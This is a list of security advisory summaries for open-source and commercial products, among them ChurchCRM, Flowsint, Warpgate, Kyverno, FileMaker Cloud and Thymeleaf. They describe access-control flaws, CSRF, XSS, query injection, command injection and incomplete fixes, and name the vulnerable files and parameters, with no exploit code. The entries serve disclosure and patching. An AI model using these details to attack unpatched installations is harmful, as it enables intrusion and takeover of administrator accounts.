ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release therefore remains exploitable by the PoC published with the original advisory. This vulnerability is fixed in 7.3.1.

Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, Broken Access Control allows reading of sketch logs from any user. This vulnerability is fixed in 1.2.3.

Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.23.3, the SSO flow does not validate the state parameter, which makes it possible for an attacker to trick a user into logging into the attacker's account, possibly convincing them to perform sensitive actions on the attacker's account (such as writing sensitive data to the attacker's SSH target, or logging into an HTTP target that the attacker set up). This vulnerability is fixed in 0.23.3.

GoJobs is a REST API for a Job Board platform. The application exposes a job retrieval endpoint that allows unauthenticated users to access job details by directly manipulating object identifiers. The endpoint lacks proper authentication and authorization checks, resulting in unauthorized access to job data.

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.

A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to inject arbitrary operating system commands through unsanitized input in the External ODBC Data Source connection test feature. This issue is fixed in FileMaker Cloud 2.22.0.5.

A Remote Code Execution vulnerability in Claris FileMaker Cloud allowed a user with Admin Console privileges to bypass a front-end restriction on OS Script schedule types and execute arbitrary operating system commands on the underlying host. This issue is fixed in FileMaker Cloud 2.22.0.5.

ChurchCRM is an open-source church management system. Prior to 7.3.2, UserEditor.php processes user account creation and permission updates entirely through $_POST parameters with no CSRF token validation. An unauthenticated attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently elevates any low-privilege user to full administrator or creates a new admin backdoor account without the victim's knowledge This vulnerability is fixed in 7.3.2.

ChurchCRM is an open-source church management system. Prior to 7.3.2, The fix for CVE-2026-39337 is incomplete. The pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard via unsanitized DB_PASSWORD remains fully exploitable This vulnerability is fixed in 7.3.2.

Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, an adversary with knowledge of an investigation ID, could update the metadata of an investigation of another user. This vulnerability is fixed in 1.2.3.

Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a map node with a malicious label that contains arbitrary HTML. When the map tab is selected and a map node marker is selected, it will render the arbitrary HTML, potentially triggering stored XSS. This vulnerability is fixed in 1.2.3.

Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a node with a malicious type that can escape an existing Cypher query and an adversary can execute an arbitrary Cypher query. This vulnerability is fixed in 1.2.3.

Thymeleaf is a server-side Java template engine for web and standalone environments. Prior to 3.1.5.RELEASE, a security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf. Although the library provides mechanisms to avoid the execution of potentially dangerous expressions in some specific sandboxed (restricted) contexts, it fails to properly neutralize specific constructs that allow this kind of expressions to be executed. If an application developer passes to the template engine unsanitized variables that contain such expressions, and these values are used in sandboxed contexts inside the templates, these expressions can be executed achieving Server-Side Template Injection (SSTI). This vulnerability is fixed in 3.1.5.RELEASE.